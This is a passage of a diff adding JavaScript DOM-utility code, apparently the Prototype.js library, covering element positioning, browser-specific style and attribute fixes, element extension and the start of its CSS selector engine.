+    }
+    return element;
+  },
+
+  undoPositioned: function(element) {
+    element = $(element);
+    if (element._madePositioned) {
+      element._madePositioned = undefined;
+      element.style.position =
+        element.style.top =
+        element.style.left =
+        element.style.bottom =
+        element.style.right = '';
+    }
+    return element;
+  },
+
+  makeClipping: function(element) {
+    element = $(element);
+    if (element._overflow) return element;
+    element._overflow = Element.getStyle(element, 'overflow') || 'auto';
+    if (element._overflow !== 'hidden')
+      element.style.overflow = 'hidden';
+    return element;
+  },
+
+  undoClipping: function(element) {
+    element = $(element);
+    if (!element._overflow) return element;
+    element.style.overflow = element._overflow == 'auto' ? '' : element._overflow;
+    element._overflow = null;
+    return element;
+  },
+
+  cumulativeOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      element = element.offsetParent;
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  positionedOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      element = element.offsetParent;
+      if (element) {
+        if (element.tagName == 'BODY') break;
+        var p = Element.getStyle(element, 'position');
+        if (p == 'relative' || p == 'absolute') break;
+      }
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  absolutize: function(element) {
+    element = $(element);
+    if (element.getStyle('position') == 'absolute') return;
+    // Position.prepare(); // To be done manually by Scripty when it needs it.
+
+    var offsets = element.positionedOffset();
+    var top     = offsets[1];
+    var left    = offsets[0];
+    var width   = element.clientWidth;
+    var height  = element.clientHeight;
+
+    element._originalLeft   = left - parseFloat(element.style.left  || 0);
+    element._originalTop    = top  - parseFloat(element.style.top || 0);
+    element._originalWidth  = element.style.width;
+    element._originalHeight = element.style.height;
+
+    element.style.position = 'absolute';
+    element.style.top    = top + 'px';
+    element.style.left   = left + 'px';
+    element.style.width  = width + 'px';
+    element.style.height = height + 'px';
+    return element;
+  },
+
+  relativize: function(element) {
+    element = $(element);
+    if (element.getStyle('position') == 'relative') return;
+    // Position.prepare(); // To be done manually by Scripty when it needs it.
+
+    element.style.position = 'relative';
+    var top  = parseFloat(element.style.top  || 0) - (element._originalTop || 0);
+    var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0);
+
+    element.style.top    = top + 'px';
+    element.style.left   = left + 'px';
+    element.style.height = element._originalHeight;
+    element.style.width  = element._originalWidth;
+    return element;
+  },
+
+  cumulativeScrollOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.scrollTop  || 0;
+      valueL += element.scrollLeft || 0;
+      element = element.parentNode;
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  getOffsetParent: function(element) {
+    if (element.offsetParent) return $(element.offsetParent);
+    if (element == document.body) return $(element);
+
+    while ((element = element.parentNode) && element != document.body)
+      if (Element.getStyle(element, 'position') != 'static')
+        return $(element);
+
+    return $(document.body);
+  },
+
+  viewportOffset: function(forElement) {
+    var valueT = 0, valueL = 0;
+
+    var element = forElement;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+
+      // Safari fix
+      if (element.offsetParent == document.body &&
+        Element.getStyle(element, 'position') == 'absolute') break;
+
+    } while (element = element.offsetParent);
+
+    element = forElement;
+    do {
+      if (!Prototype.Browser.Opera || element.tagName == 'BODY') {
+        valueT -= element.scrollTop  || 0;
+        valueL -= element.scrollLeft || 0;
+      }
+    } while (element = element.parentNode);
+
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  clonePosition: function(element, source) {
+    var options = Object.extend({
+      setLeft:    true,
+      setTop:     true,
+      setWidth:   true,
+      setHeight:  true,
+      offsetTop:  0,
+      offsetLeft: 0
+    }, arguments[2] || { });
+
+    // find page position of source
+    source = $(source);
+    var p = source.viewportOffset();
+
+    // find coordinate system to use
+    element = $(element);
+    var delta = [0, 0];
+    var parent = null;
+    // delta [0,0] will do fine with position: fixed elements,
+    // position:absolute needs offsetParent deltas
+    if (Element.getStyle(element, 'position') == 'absolute') {
+      parent = element.getOffsetParent();
+      delta = parent.viewportOffset();
+    }
+
+    // correct by body offsets (fixes Safari)
+    if (parent == document.body) {
+      delta[0] -= document.body.offsetLeft;
+      delta[1] -= document.body.offsetTop;
+    }
+
+    // set position
+    if (options.setLeft)   element.style.left  = (p[0] - delta[0] + options.offsetLeft) + 'px';
+    if (options.setTop)    element.style.top   = (p[1] - delta[1] + options.offsetTop) + 'px';
+    if (options.setWidth)  element.style.width = source.offsetWidth + 'px';
+    if (options.setHeight) element.style.height = source.offsetHeight + 'px';
+    return element;
+  }
+};
+
+Element.Methods.identify.counter = 1;
+
+Object.extend(Element.Methods, {
+  getElementsBySelector: Element.Methods.select,
+  childElements: Element.Methods.immediateDescendants
+});
+
+Element._attributeTranslations = {
+  write: {
+    names: {
+      className: 'class',
+      htmlFor:   'for'
+    },
+    values: { }
+  }
+};
+
+
+if (!document.createRange || Prototype.Browser.Opera) {
+  Element.Methods.insert = function(element, insertions) {
+    element = $(element);
+
+    if (Object.isString(insertions) || Object.isNumber(insertions) ||
+        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
+          insertions = { bottom: insertions };
+
+    var t = Element._insertionTranslations, content, position, pos, tagName;
+
+    for (position in insertions) {
+      content  = insertions[position];
+      position = position.toLowerCase();
+      pos      = t[position];
+
+      if (content && content.toElement) content = content.toElement();
+      if (Object.isElement(content)) {
+        pos.insert(element, content);
+        continue;
+      }
+
+      content = Object.toHTML(content);
+      tagName = ((position == 'before' || position == 'after')
+        ? element.parentNode : element).tagName.toUpperCase();
+
+      if (t.tags[tagName]) {
+        var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
+        if (position == 'top' || position == 'after') fragments.reverse();
+        fragments.each(pos.insert.curry(element));
+      }
+      else element.insertAdjacentHTML(pos.adjacency, content.stripScripts());
+
+      content.evalScripts.bind(content).defer();
+    }
+
+    return element;
+  };
+}
+
+if (Prototype.Browser.Opera) {
+  Element.Methods._getStyle = Element.Methods.getStyle;
+  Element.Methods.getStyle = function(element, style) {
+    switch(style) {
+      case 'left':
+      case 'top':
+      case 'right':
+      case 'bottom':
+        if (Element._getStyle(element, 'position') == 'static') return null;
+      default: return Element._getStyle(element, style);
+    }
+  };
+  Element.Methods._readAttribute = Element.Methods.readAttribute;
+  Element.Methods.readAttribute = function(element, attribute) {
+    if (attribute == 'title') return element.title;
+    return Element._readAttribute(element, attribute);
+  };
+}
+
+else if (Prototype.Browser.IE) {
+  $w('positionedOffset getOffsetParent viewportOffset').each(function(method) {
+    Element.Methods[method] = Element.Methods[method].wrap(
+      function(proceed, element) {
+        element = $(element);
+        var position = element.getStyle('position');
+        if (position != 'static') return proceed(element);
+        element.setStyle({ position: 'relative' });
+        var value = proceed(element);
+        element.setStyle({ position: position });
+        return value;
+      }
+    );
+  });
+
+  Element.Methods.getStyle = function(element, style) {
+    element = $(element);
+    style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize();
+    var value = element.style[style];
+    if (!value && element.currentStyle) value = element.currentStyle[style];
+
+    if (style == 'opacity') {
+      if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/))
+        if (value[1]) return parseFloat(value[1]) / 100;
+      return 1.0;
+    }
+
+    if (value == 'auto') {
+      if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none'))
+        return element['offset' + style.capitalize()] + 'px';
+      return null;
+    }
+    return value;
+  };
+
+  Element.Methods.setOpacity = function(element, value) {
+    function stripAlpha(filter){
+      return filter.replace(/alpha\([^\)]*\)/gi,'');
+    }
+    element = $(element);
+    var currentStyle = element.currentStyle;
+    if ((currentStyle && !currentStyle.hasLayout) ||
+      (!currentStyle && element.style.zoom == 'normal'))
+        element.style.zoom = 1;
+
+    var filter = element.getStyle('filter'), style = element.style;
+    if (value == 1 || value === '') {
+      (filter = stripAlpha(filter)) ?
+        style.filter = filter : style.removeAttribute('filter');
+      return element;
+    } else if (value < 0.00001) value = 0;
+    style.filter = stripAlpha(filter) +
+      'alpha(opacity=' + (value * 100) + ')';
+    return element;
+  };
+
+  Element._attributeTranslations = {
+    read: {
+      names: {
+        'class': 'className',
+        'for':   'htmlFor'
+      },
+      values: {
+        _getAttr: function(element, attribute) {
+          return element.getAttribute(attribute, 2);
+        },
+        _getAttrNode: function(element, attribute) {
+          var node = element.getAttributeNode(attribute);
+          return node ? node.value : "";
+        },
+        _getEv: function(element, attribute) {
+          var attribute = element.getAttribute(attribute);
+          return attribute ? attribute.toString().slice(23, -2) : null;
+        },
+        _flag: function(element, attribute) {
+          return $(element).hasAttribute(attribute) ? attribute : null;
+        },
+        style: function(element) {
+          return element.style.cssText.toLowerCase();
+        },
+        title: function(element) {
+          return element.title;
+        }
+      }
+    }
+  };
+
+  Element._attributeTranslations.write = {
+    names: Object.clone(Element._attributeTranslations.read.names),
+    values: {
+      checked: function(element, value) {
+        element.checked = !!value;
+      },
+
+      style: function(element, value) {
+        element.style.cssText = value ? value : '';
+      }
+    }
+  };
+
+  Element._attributeTranslations.has = {};
+
+  $w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' +
+      'encType maxLength readOnly longDesc').each(function(attr) {
+    Element._attributeTranslations.write.names[attr.toLowerCase()] = attr;
+    Element._attributeTranslations.has[attr.toLowerCase()] = attr;
+  });
+
+  (function(v) {
+    Object.extend(v, {
+      href:        v._getAttr,
+      src:         v._getAttr,
+      type:        v._getAttr,
+      action:      v._getAttrNode,
+      disabled:    v._flag,
+      checked:     v._flag,
+      readonly:    v._flag,
+      multiple:    v._flag,
+      onload:      v._getEv,
+      onunload:    v._getEv,
+      onclick:     v._getEv,
+      ondblclick:  v._getEv,
+      onmousedown: v._getEv,
+      onmouseup:   v._getEv,
+      onmouseover: v._getEv,
+      onmousemove: v._getEv,
+      onmouseout:  v._getEv,
+      onfocus:     v._getEv,
+      onblur:      v._getEv,
+      onkeypress:  v._getEv,
+      onkeydown:   v._getEv,
+      onkeyup:     v._getEv,
+      onsubmit:    v._getEv,
+      onreset:     v._getEv,
+      onselect:    v._getEv,
+      onchange:    v._getEv
+    });
+  })(Element._attributeTranslations.read.values);
+}
+
+else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
+  Element.Methods.setOpacity = function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1) ? 0.999999 :
+      (value === '') ? '' : (value < 0.00001) ? 0 : value;
+    return element;
+  };
+}
+
+else if (Prototype.Browser.WebKit) {
+  Element.Methods.setOpacity = function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1 || value === '') ? '' :
+      (value < 0.00001) ? 0 : value;
+
+    if (value == 1)
+      if(element.tagName == 'IMG' && element.width) {
+        element.width++; element.width--;
+      } else try {
+        var n = document.createTextNode(' ');
+        element.appendChild(n);
+        element.removeChild(n);
+      } catch (e) { }
+
+    return element;
+  };
+
+  // Safari returns margins on body which is incorrect if the child is absolutely
+  // positioned.  For performance reasons, redefine Position.cumulativeOffset for
+  // KHTML/WebKit only.
+  Element.Methods.cumulativeOffset = function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      if (element.offsetParent == document.body)
+        if (Element.getStyle(element, 'position') == 'absolute') break;
+
+      element = element.offsetParent;
+    } while (element);
+
+    return Element._returnOffset(valueL, valueT);
+  };
+}
+
+if (Prototype.Browser.IE || Prototype.Browser.Opera) {
+  // IE and Opera are missing .innerHTML support for TABLE-related and SELECT elements
+  Element.Methods.update = function(element, content) {
+    element = $(element);
+
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) return element.update().insert(content);
+
+    content = Object.toHTML(content);
+    var tagName = element.tagName.toUpperCase();
+
+    if (tagName in Element._insertionTranslations.tags) {
+      $A(element.childNodes).each(function(node) { element.removeChild(node) });
+      Element._getContentFromAnonymousElement(tagName, content.stripScripts())
+        .each(function(node) { element.appendChild(node) });
+    }
+    else element.innerHTML = content.stripScripts();
+
+    content.evalScripts.bind(content).defer();
+    return element;
+  };
+}
+
+if (document.createElement('div').outerHTML) {
+  Element.Methods.replace = function(element, content) {
+    element = $(element);
+
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) {
+      element.parentNode.replaceChild(content, element);
+      return element;
+    }
+
+    content = Object.toHTML(content);
+    var parent = element.parentNode, tagName = parent.tagName.toUpperCase();
+
+    if (Element._insertionTranslations.tags[tagName]) {
+      var nextSibling = element.next();
+      var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
+      parent.removeChild(element);
+      if (nextSibling)
+        fragments.each(function(node) { parent.insertBefore(node, nextSibling) });
+      else
+        fragments.each(function(node) { parent.appendChild(node) });
+    }
+    else element.outerHTML = content.stripScripts();
+
+    content.evalScripts.bind(content).defer();
+    return element;
+  };
+}
+
+Element._returnOffset = function(l, t) {
+  var result = [l, t];
+  result.left = l;
+  result.top = t;
+  return result;
+};
+
+Element._getContentFromAnonymousElement = function(tagName, html) {
+  var div = new Element('div'), t = Element._insertionTranslations.tags[tagName];
+  div.innerHTML = t[0] + html + t[1];
+  t[2].times(function() { div = div.firstChild });
+  return $A(div.childNodes);
+};
+
+Element._insertionTranslations = {
+  before: {
+    adjacency: 'beforeBegin',
+    insert: function(element, node) {
+      element.parentNode.insertBefore(node, element);
+    },
+    initializeRange: function(element, range) {
+      range.setStartBefore(element);
+    }
+  },
+  top: {
+    adjacency: 'afterBegin',
+    insert: function(element, node) {
+      element.insertBefore(node, element.firstChild);
+    },
+    initializeRange: function(element, range) {
+      range.selectNodeContents(element);
+      range.collapse(true);
+    }
+  },
+  bottom: {
+    adjacency: 'beforeEnd',
+    insert: function(element, node) {
+      element.appendChild(node);
+    }
+  },
+  after: {
+    adjacency: 'afterEnd',
+    insert: function(element, node) {
+      element.parentNode.insertBefore(node, element.nextSibling);
+    },
+    initializeRange: function(element, range) {
+      range.setStartAfter(element);
+    }
+  },
+  tags: {
+    TABLE:  ['<table>',                '</table>',                   1],
+    TBODY:  ['<table><tbody>',         '</tbody></table>',           2],
+    TR:     ['<table><tbody><tr>',     '</tr></tbody></table>',      3],
+    TD:     ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
+    SELECT: ['<select>',               '</select>',                  1]
+  }
+};
+
+(function() {
+  this.bottom.initializeRange = this.top.initializeRange;
+  Object.extend(this.tags, {
+    THEAD: this.tags.TBODY,
+    TFOOT: this.tags.TBODY,
+    TH:    this.tags.TD
+  });
+}).call(Element._insertionTranslations);
+
+Element.Methods.Simulated = {
+  hasAttribute: function(element, attribute) {
+    attribute = Element._attributeTranslations.has[attribute] || attribute;
+    var node = $(element).getAttributeNode(attribute);
+    return node && node.specified;
+  }
+};
+
+Element.Methods.ByTag = { };
+
+Object.extend(Element, Element.Methods);
+
+if (!Prototype.BrowserFeatures.ElementExtensions &&
+    document.createElement('div').__proto__) {
+  window.HTMLElement = { };
+  window.HTMLElement.prototype = document.createElement('div').__proto__;
+  Prototype.BrowserFeatures.ElementExtensions = true;
+}
+
+Element.extend = (function() {
+  if (Prototype.BrowserFeatures.SpecificElementExtensions)
+    return Prototype.K;
+
+  var Methods = { }, ByTag = Element.Methods.ByTag;
+
+  var extend = Object.extend(function(element) {
+    if (!element || element._extendedByPrototype ||
+        element.nodeType != 1 || element == window) return element;
+
+    var methods = Object.clone(Methods),
+      tagName = element.tagName, property, value;
+
+    // extend methods for specific tags
+    if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);
+
+    for (property in methods) {
+      value = methods[property];
+      if (Object.isFunction(value) && !(property in element))
+        element[property] = value.methodize();
+    }
+
+    element._extendedByPrototype = Prototype.emptyFunction;
+    return element;
+
+  }, {
+    refresh: function() {
+      // extend methods for all tags (Safari doesn't need this)
+      if (!Prototype.BrowserFeatures.ElementExtensions) {
+        Object.extend(Methods, Element.Methods);
+        Object.extend(Methods, Element.Methods.Simulated);
+      }
+    }
+  });
+
+  extend.refresh();
+  return extend;
+})();
+
+Element.hasAttribute = function(element, attribute) {
+  if (element.hasAttribute) return element.hasAttribute(attribute);
+  return Element.Methods.Simulated.hasAttribute(element, attribute);
+};
+
+Element.addMethods = function(methods) {
+  var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag;
+
+  if (!methods) {
+    Object.extend(Form, Form.Methods);
+    Object.extend(Form.Element, Form.Element.Methods);
+    Object.extend(Element.Methods.ByTag, {
+      "FORM":     Object.clone(Form.Methods),
+      "INPUT":    Object.clone(Form.Element.Methods),
+      "SELECT":   Object.clone(Form.Element.Methods),
+      "TEXTAREA": Object.clone(Form.Element.Methods)
+    });
+  }
+
+  if (arguments.length == 2) {
+    var tagName = methods;
+    methods = arguments[1];
+  }
+
+  if (!tagName) Object.extend(Element.Methods, methods || { });
+  else {
+    if (Object.isArray(tagName)) tagName.each(extend);
+    else extend(tagName);
+  }
+
+  function extend(tagName) {
+    tagName = tagName.toUpperCase();
+    if (!Element.Methods.ByTag[tagName])
+      Element.Methods.ByTag[tagName] = { };
+    Object.extend(Element.Methods.ByTag[tagName], methods);
+  }
+
+  function copy(methods, destination, onlyIfAbsent) {
+    onlyIfAbsent = onlyIfAbsent || false;
+    for (var property in methods) {
+      var value = methods[property];
+      if (!Object.isFunction(value)) continue;
+      if (!onlyIfAbsent || !(property in destination))
+        destination[property] = value.methodize();
+    }
+  }
+
+  function findDOMClass(tagName) {
+    var klass;
+    var trans = {
+      "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
+      "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
+      "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
+      "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
+      "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
+      "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
+      "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
+      "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
+      "FrameSet", "IFRAME": "IFrame"
+    };
+    if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
+    if (window[klass]) return window[klass];
+    klass = 'HTML' + tagName + 'Element';
+    if (window[klass]) return window[klass];
+    klass = 'HTML' + tagName.capitalize() + 'Element';
+    if (window[klass]) return window[klass];
+
+    window[klass] = { };
+    window[klass].prototype = document.createElement(tagName).__proto__;
+    return window[klass];
+  }
+
+  if (F.ElementExtensions) {
+    copy(Element.Methods, HTMLElement.prototype);
+    copy(Element.Methods.Simulated, HTMLElement.prototype, true);
+  }
+
+  if (F.SpecificElementExtensions) {
+    for (var tag in Element.Methods.ByTag) {
+      var klass = findDOMClass(tag);
+      if (Object.isUndefined(klass)) continue;
+      copy(T[tag], klass.prototype);
+    }
+  }
+
+  Object.extend(Element, Element.Methods);
+  delete Element.ByTag;
+
+  if (Element.extend.refresh) Element.extend.refresh();
+  Element.cache = { };
+};
+
+document.viewport = {
+  getDimensions: function() {
+    var dimensions = { };
+    $w('width height').each(function(d) {
+      var D = d.capitalize();
+      dimensions[d] = self['inner' + D] ||
+       (document.documentElement['client' + D] || document.body['client' + D]);
+    });
+    return dimensions;
+  },
+
+  getWidth: function() {
+    return this.getDimensions().width;
+  },
+
+  getHeight: function() {
+    return this.getDimensions().height;
+  },
+
+  getScrollOffsets: function() {
+    return Element._returnOffset(
+      window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft,
+      window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop);
+  }
+};
+/* Portions of the Selector class are derived from Jack Slocumâs DomQuery,
+ * part of YUI-Ext version 0.40, distributed under the terms of an MIT-style
+ * license.  Please see http://www.yui-ext.com/ for more information. */
+
+var Selector = Class.create({
+  initialize: function(expression) {
+    this.expression = expression.strip();
+    this.compileMatcher();
+  },
+
+  compileMatcher: function() {
+    // Selectors with namespaced attributes can't use the XPath version
+    if (Prototype.BrowserFeatures.XPath && !(/(\[[\w-]*?:|:checked)/).test(this.expression))
+      return this.compileXPathMatcher();
+
+    var e = this.expression, ps = Selector.patterns, h = Selector.handlers,
+        c = Selector.criteria, le, p, m;
+
+    if (Selector._cache[e]) {
+      this.matcher = Selector._cache[e];
+      return;
+    }
+
+    this.matcher = ["this.matcher = function(root) {",
+                    "var r = root, h = Selector.handlers, c = false, n;"];
+
+    while (e && le != e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        p = ps[i];
+        if (m = e.match(p)) {
+          this.matcher.push(Object.isFunction(c[i]) ? c[i](m) :
+    	      new Template(c[i]).evaluate(m));
+          e = e.replace(m[0], '');
+          break;
+        }
+      }
+    }
+
+    this.matcher.push("return h.unique(n);\n}");
+    eval(this.matcher.join('\n'));
+    Selector._cache[this.expression] = this.matcher;
+  },
+
+  compileXPathMatcher: function() {
+    var e = this.expression, ps = Selector.patterns,
+        x = Selector.xpath, le, m;
+
+    if (Selector._cache[e]) {
+      this.xpath = Selector._cache[e]; return;
+    }
+
+    this.matcher = ['.//*'];
+    while (e && le != e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        if (m = e.match(ps[i])) {
+          this.matcher.push(Object.isFunction(x[i]) ? x[i](m) :
+            new Template(x[i]).evaluate(m));
+          e = e.replace(m[0], '');
+          break;
+        }
+      }
+    }
+
+    this.xpath = this.matcher.join('');
+    Selector._cache[this.expression] = this.xpath;
+  },
+
+  findElements: function(root) {
+    root = root || document;
+    if (this.xpath) return document._getElementsByXPath(this.xpath, root);
+    return this.matcher(root);
+  },
+
+  match: function(element) {
+    this.tokens = [];
+
+    var e = this.expression, ps = Selector.patterns, as = Selector.assertions;
+    var le, p, m;
+
+    while (e && le !== e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        p = ps[i];
+        if (m = e.match(p)) {
+          // use the Selector.assertions methods unless the selector
+          // is too complex.
+          if (as[i]) {
+            this.tokens.push([i, Object.clone(m)]);
+            e = e.replace(m[0], '');
+          } else {
+            // reluctantly do a document-wide search
+            // and look for a match in the array
+            return this.findElements(document).include(element);
+          }
+        }
+      }
+    }
+
+    var match = true, name, matches;
+    for (var i = 0, token; token = this.tokens[i]; i++) {
+      name = token[0], matches = token[1];
+      if (!Selector.assertions[name](element, matches)) {
+        match = false; break;
+      }
+    }
+
+    return match;
+  },
+
+  toString: function() {
+    return this.expression;
+  },
+
+  inspect: function() {
+    return "#<Selector:" + this.expression.inspect() + ">";
+  }
+});
+
+Object.extend(Selector, {
+  _cache: { },
+
+  xpath: {
+    descendant:   "//*",
+    child:        "/*",
+    adjacent:     "/following-sibling::*[1]",
+    laterSibling: '/following-sibling::*',
+    tagName:      function(m) {
+      if (m[1] == '*') return '';
+      return "[local-name()='" + m[1].toLowerCase() +
+             "' or local-name()='" + m[1].toUpperCase() + "']";
+    },
+    className:    "[contains(concat(' ', @class, ' '), ' #{1} ')]",
+    id:           "[@id='#{1}']",
+    attrPresence: "[@#{1}]",
+    attr: function(m) {
+      m[3] = m[5] || m[6];
+      return new Template(Selector.xpath.operators[m[2]]).evaluate(m);
+    },
+    pseudo: function(m) {
+      var h = Selector.xpath.pseudos[m[1]];
+      if (!h) return '';
+      if (Object.isFunction(h)) return h(m);
+      return new Template(Selector.xpath.pseudos[m[1]]).evaluate(m);
+    },
+    operators: {
+      '=':  "[@#{1}='#{3}']",
+      '!=': "[@#{1}!='#{3}']",
+      '^=': "[starts-with(@#{1}, '#{3}')]",
+      '$=': "[substring(@#{1}, (string-length(@#{1}) - string-length('#{3}') + 1))='#{3}']",
+      '*=': "[contains(@#{1}, '#{3}')]",
+      '~=': "[contains(concat(' ', @#{1}, ' '), ' #{3} ')]",
+      '|=': "[contains(concat('-', @#{1}, '-'), '-#{3}-')]"
+    },
+    pseudos: {
+      'first-child': '[not(preceding-sibling::*)]',
+      'last-child':  '[not(following-sibling::*)]',
+      'only-child':  '[not(preceding-sibling::* or following-sibling::*)]',
+      'empty':       "[count(*) = 0 and (count(text()) = 0 or translate(text(), ' \t\r\n', '') = '')]",
+      'checked':     "[@checked]",
+      'disabled':    "[@disabled]",
+      'enabled':     "[not(@disabled)]",
+      'not': function(m) {
+        var e = m[6], p = Selector.patterns,
+            x = Selector.xpath, le, m, v;
+
+        var exclusion = [];
+        while (e && le != e && (/\S/).test(e)) {
+          le = e;
+          for (var i in p) {
+            if (m = e.match(p[i])) {
+              v = Object.isFunction(x[i]) ? x[i](m) : new Template(x[i]).evaluate(m);
+              exclusion.push("(" + v.substring(1, v.length - 1) + ")");
+              e = e.replace(m[0], '');
+              break;
+            }
+          }
+        }
+        return "[not(" + exclusion.join(" and ") + ")]";
+      },
+      'nth-child':      function(m) {
+        return Selector.xpath.pseudos.nth("(count(./preceding-sibling::*) + 1) ", m);
+      },
+      'nth-last-child': function(m) {
+        return Selector.xpath.pseudos.nth("(count(./following-sibling::*) + 1) ", m);
+      },
+      'nth-of-type':    function(m) {
+        return Selector.xpath.pseudos.nth("position() ", m);
+      },
+      'nth-last-of-type': function(m) {
+        return Selector.xpath.pseudos.nth("(last() + 1 - position()) ", m);
+      },
+      'first-of-type':  function(m) {
+        m[6] = "1"; return Selector.xpath.pseudos['nth-of-type'](m);
+      },
+      'last-of-type':   function(m) {
+        m[6] = "1"; return Selector.xpath.pseudos['nth-last-of-type'](m);
+      },
+      'only-of-type':   function(m) {
+        var p = Selector.xpath.pseudos; return p['first-of-type'](m) + p['last-of-type'](m);
+      },
+      nth: function(fragment, m) {
+        var mm, formula = m[6], predicate;
+        if (formula == 'even') formula = '2n+0';
+        if (formula == 'odd')  formula = '2n+1';
+        if (mm = formula.match(/^(\d+)$/)) // digit only
+          return '[' + fragment + "= " + mm[1] + ']';
+        if (mm = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
+          if (mm[1] == "-") mm[1] = -1;
+          var a = mm[1] ? Number(mm[1]) : 1;
+          var b = mm[2] ? Number(mm[2]) : 0;
+          predicate = "[((#{fragment} - #{b}) mod #{a} = 0) and " +
+          "((#{fragment} - #{b}) div #{a} >= 0)]";
+          return new Template(predicate).evaluate({
+            fragment: fragment, a: a, b: b });
+        }
+      }
+    }
+  },
+
+  criteria: {
+    tagName:      'n = h.tagName(n, r, "#{1}", c);   c = false;',
+    className:    'n = h.className(n, r, "#{1}", c); c = false;',
+    id:           'n = h.id(n, r, "#{1}", c);        c = false;',
+    attrPresence: 'n = h.attrPresence(n, r, "#{1}"); c = false;',
+    attr: function(m) {
+      m[3] = (m[5] || m[6]);
+      return new Template('n = h.attr(n, r, "#{1}", "#{3}", "#{2}"); c = false;').evaluate(m);
+    },
+    pseudo: function(m) {
+      if (m[6]) m[6] = m[6].replace(/"/g, '\\"');
+      return new Template('n = h.pseudo(n, "#{1}", "#{6}", r, c); c = false;').evaluate(m);
+    },
+    descendant:   'c = "descendant";',
+    child:        'c = "child";',
+    adjacent:     'c = "adjacent";',
+    laterSibling: 'c = "laterSibling";'
+  },
+
+  patterns: {
+    // combinators must be listed first
+    // (and descendant needs to be last combinator)
+    laterSibling: /^\s*~\s*/,
+    child:        /^\s*>\s*/,
+    adjacent:     /^\s*\+\s*/,
+    descendant:   /^\s/,
+
+    // selectors follow
+    tagName:      /^\s*(\*|[\w\-]+)(\b|$)?/,
+    id:           /^#([\w\-\*]+)(\b|$)/,
+    className:    /^\.([\w\-\*]+)(\b|$)/,
+    pseudo:       /^:((first|last|nth|nth-last|only)(-child|-of-type)|empty|checked|(en|dis)abled|not)(\((.*?)\))?(\b|$|(?=\s)|(?=:))/,
+    attrPresence: /^\[([\w]+)\]/,
+    attr:         /\[((?:[\w-]*:)?[\w-]+)\s*(?:([!^$*~|]?=)\s*((['"])([^\4]*?)\4|([^'"][^\]]*?)))?\]/
+  },
+
+  // for Selector.match and Element#match
+  assertions: {
+    tagName: function(element, matches) {
+      return matches[1].toUpperCase() == element.tagName.toUpperCase();
+    },
+
+    className: function(element, matches) {
+      return Element.hasClassName(element, matches[1]);
+    },
+
+    id: function(element, matches) {
+      return element.id === matches[1];
+    },
+
+    attrPresence: function(element, matches) {
+      return Element.hasAttribute(element, matches[1]);
+    },
+
+    attr: function(element, matches) {
+      var nodeValue = Element.readAttribute(element, matches[1]);
+      return Selector.operators[matches[2]](nodeValue, matches[3]);
+    }
+  },
+
+  handlers: {
+    // UTILITY FUNCTIONS
+    // joins two collections
+    concat: function(a, b) {
+      for (var i = 0, node; node = b[i]; i++)
+        a.push(node);
+      return a;
+    },
+
+    // marks an array of nodes for counting
+    mark: function(nodes) {
+      for (var i = 0, node; node = nodes[i]; i++)
+        node._counted = true;
+      return nodes;
+    },
+
+    unmark: function(nodes) {
+      for (var i = 0, node; node = nodes[i]; i++)
+        node._counted = undefined;
+      return nodes;
+    },
+
+    // mark each child node with its position (for nth calls)
+    // "ofType" flag indicates whether we're indexing for nth-of-type
+    // rather than nth-child
+    index: function(parentNode, reverse, ofType) {
+      parentNode._counted = true;
+      if (reverse) {
+        for (var nodes = parentNode.childNodes, i = nodes.length - 1, j = 1; i >= 0; i--) {
+          var node = nodes[i];
+          if (node.nodeType == 1 && (!ofType || node._counted)) node.nodeIndex = j++;
+        }
+      } else {
+        for (var i = 0, j = 1, nodes = parentNode.childNodes; node = nodes[i]; i++)
+          if (node.nodeType == 1 && (!ofType || node._counted)) node.nodeIndex = j++;
+      }
+    },
+
+    // filters out duplicates and extends all nodes
+    unique: function(nodes) {
+      if (nodes.length == 0) return nodes;
+      var results = [], n;
+      for (var i = 0, l = nodes.length; i < l; i++)
